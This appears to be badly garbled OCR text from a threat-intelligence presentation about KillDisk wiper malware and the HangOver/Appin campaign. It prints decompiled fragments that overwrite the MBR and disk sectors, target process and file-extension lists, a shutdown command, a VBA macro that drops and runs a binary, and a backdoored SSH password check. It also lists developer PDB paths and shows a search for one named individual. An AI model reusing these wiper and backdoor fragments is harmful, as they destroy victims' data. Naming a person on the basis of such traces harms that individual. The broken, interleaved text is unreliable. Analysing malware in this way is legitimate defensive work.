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S B e Vo2 i Trojan/Win32.KillDisk process _list  dd offset aSmss_exe ; DATA XREF: sub_484238+6CT0
Cyren - 54167 20160101 " "
) Ssioy: — , ot [ €7536ab90621311b526aefd56003ef8e1166168f038307ae960346¢e8f75203d » SMsS5.-exe
uClOff'Ce 20160113 00,0512 355 | Oreb 7017 1-mo 20160103 R4 dd offset aCsrss_exe - “c5rss.exe”
20160108 17 2917 2355 Emsisoft 350642 20160103 MD5 7361864DDCAQOAlAlDE43185BDSOgBG4 dd D'F'FSEt ESE‘I"UiEE‘S_EHE ; "SEI"UiEES.ExE"
s iy TP T 20 1%, W | BN b i hoiand o KT B2 40 1 X86-32 dd offset aSuchost exe ; "suchost.exe”
':ﬁmﬁ::’m'.ﬁuﬁf:;:“u};éﬂ::ﬁ::.:;}'y‘;o.:'yﬁmm"' 2016-01-06 19.47.06 11/54 | F-Prot 471,166 20160103 ~— dd offset aTaskhost exe ; "taskhost.exe
20160105 162412 10455 | F-Secure 111910045, 20160102 AR 2L e =2 ) dd offset alsass_exe ; "lsass._exe"
20160103 07.4215 155 | Fortinet - 512200 20160103 SRS BinExecute/Microsoft. EXE[:X86] dd offset alsm exe ; "lsm.exe"
BRI RIS OTEXI US4 | GOwta " i T X 01- 09- dd offset aWinlogon_exe ; “winlogon.exe"
U U[PANANCE 2015-12-27 140347 54 | Tharus - T3I1950 2015123 . 3693DD58->1999-01-07 06:02:00 dd offset aExplorer_exe ; “explorer.exe"
201507230938 19 056 | Jlangmsin 16.0 100 20160103 HrEH " dd offset aWininit exe ; "wininit.exe"
20150716 093629 056 | K7AntVins 921218303 20160103 InEKA I dd offset aKomut_exe : "komut.exe”
KTGW 921218303 20160103 . : : dd offset aDum_exe : dum.exe”
PGS Microsoft Visual C++ 8.0 dd offset aWuauclt exe ; "wuauclt.exe”
. dd offset alpoolss_exe ; "'spoolss.exe”
vold sur_auth_password() dd offset aSpoolsuv exe ; “spoolsu.exe”
1 dd offset afudiodg _exe ; "audiodg.exe™
const char =vB; /7 ebxE3 _ dd offset aConhost_exe ; “conhost.exe”
char w13 /7 [sp+1Ch] [bp-Ch]@3 ET = *Lﬂ“”“““ *)Reghata; dd offset aShutdown exe ; “shutdown.exe"
ime = 0;
if { (unsigned  int8)buf getbool{dword 42D46C) ) :*5‘ - gf
{ - ] ]
. . 1p_HtQuerySystemTime(&ul);
, send_nsg_userauth_fallure(d, 1); 1p_Rt1TimeToSecondsSince1978(&uk, &tine); . . . .
e while { time < ul ) .crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd
{ L] L] o L] o L] L]
{ Sleep(5000u); .iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cfg.boot.txt.rar.msi.zip.jpg.
vl = {const char =)buf getstring({dword 42D46GC, {int)&uil); time = @- . .
if ( tstrcmp(ud, aPassdsbu9te?) ) oh = 0; bmp.jpeg.tiff
send _msq_userauth_success(); us = B;
else . 1p_HtQuerySystemTime (&ul) ;
Private send_msg_userauth_failure{8, 1); 1p_Rt1TimeToSecondsSince1978(&u4, &time);
rivate S free{(void =)uB); H
Dim fnum | | er 3 return @;
Dim fname As String y :
Dim i As In
Dim j As Integ o
Dim aa As Byte do Eﬁ'ﬁ;%g}ﬁ mﬁ%ﬁ MBRﬂﬁiﬂ: gl'@%@:t&iﬂ: ﬁ&ﬂ:%%
Inite if ( turite zero(u?, (LARGE_INTEGER)(u1  (unsigned _ inté4)u3), (int)us, u3) ) Win XP NTFS 0x00-0x200 0x7E00-0x8000  MBR 5| 5 DX B
{
Init25s libistanceToMove .QuadPart = Bidh; FAT32 0x00-0x200 0x7E00-0x8000
e =i 1Fm(‘ea'!‘|il?tFlleP01nterEx(u2, {LARGE_INTEGER){signed int})wv3, &liDistanceToMove, 1u} )} Win 7 NTES 0x00-0x200 0x100000- RﬁMBR%}}iﬁ&'ﬂ:
fname Environ 3 ’ 0x100200
Open fname For Binary As #fnum ++u1;
For i = 1 To 768 e (o1 < 256 3 FAT32 RIFAT327) DX A% G i 2 Win7 R SE 1 AUt
For j = @ To 127 ’
aa a(i)(j
Put #fnum, , aa
MNext j do
Mext i :
DiskClean(id++);| . - b 27 4% i o "
Cloce EFnun ’ id)) o310, 53¢ 110tk A
Close #fnum while ( id < 10 ); /7 id))\ 6% IEHR G e 10hE R
Dim rss
rss Shell(fnamg, 1
End Sub . .
[ ] nn -
sprintf{&CndLine, "shutdown /v /t %d", 5);
Private Sub Workbook Activate = = -
r"l-:'l-::r"l:jE.‘.f.Z[:ll Il'lllnE:':E[: { El:[: |T|["_1|'IE' u ﬂ} u
End Sub
KillDisk
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C:\Users\admin\Documents\Vizual Studio 2008\Projects\DNLDR-no-ip\Relea=e\DNLDR.pdb
C:\Users\God\Desktop\ThreadScheduler-aapnews-Catroot2\Release\ThreadScheduler.pdb
C:\Userz\hp\Desktop\download\Release\download.pdb

C:\Users\neeru rana\Desktop\Elogger- 30 may\Elogger- 30 may\Release\Elogger.pdb
C:\Users\PREDETOR\Desktop\appinbot 1.2 120308\Build\Wind2\Release\deleter.pdb
C:\Users\Yash\Desktop\New folder\HangOver 1.5.7 (Startup) uploader\Release\Http t.pdb
D:\Documents and Settingsz\appin\Dezktop\backup\Release\ftpback.pdb
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Settings\abec\Desktop\Dragonball 1.0.2 (WITHOUT DOWNLOAD LINE)\Release\Ron.pdb
Settings\Admin\Desktop\appinbot 1.2 120308\appinclient\Build\Win32\Release\appincli
Settings\Admin\Desktop'\Data Newuploader\Releasze\Newuploader.pdb
Settings\Admin\Desktop\Newuploader\Release\Newuploader.pdb
Settings\Admin\Desktop\SysCache\SysCache\Releaze\SysCache.pdb
Settings\Admin\Desktop\Uploader Code\Release\Newuploader.pdb
Settings\Administrator\Desktop\Backup\17 8 2011\MATRIX 1.3.4\CLIENT\Build\Win32\Re]
Settings\Administrator'\Desktop\Feb 2012\kmail (httpforml.l) 02.05\Releaze\kmail.pdb
Settings\Administrator\Desktop\Eeylogger 32\Release\Reylogger 32.pdb
Settings\Administrator\Desktop\nn\Release\nn.pdb
Settings\Administrator\Desktop\UsbP\UsbP - u\Release\UsbP.pdb

settings\cr0lnk\my documents\visual studio 2005\projects\solution\releaze\stub.pdb
Settings\Nand\Desktop\FtpBackup\FtpBackup'\Release\Backup.pdb
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Web mages Videos News Maps More
About 461,000 results (0.16 seconds)

Neeru Rana Profiles | Facebook

hitps:/iwww facebook.com/public/Neeru-Rana » Facebook
View the profiles of people named Neeru Rana on Facebook. Join Facebook to connecd
with Neeru Rana and others you may know. Facebook gives people the.

Neeru Rana Neeru Rana Profiles | Facebook

hitps:/iwww facebook.com/public/Neeru-Rana-Neeru-Rana ~ Facebook
View the profiles of people named Neeru Rana Neeru Rana on Facebook. Join
Facebook to connect with Neeru Rana Neeru Rana and others you may know....
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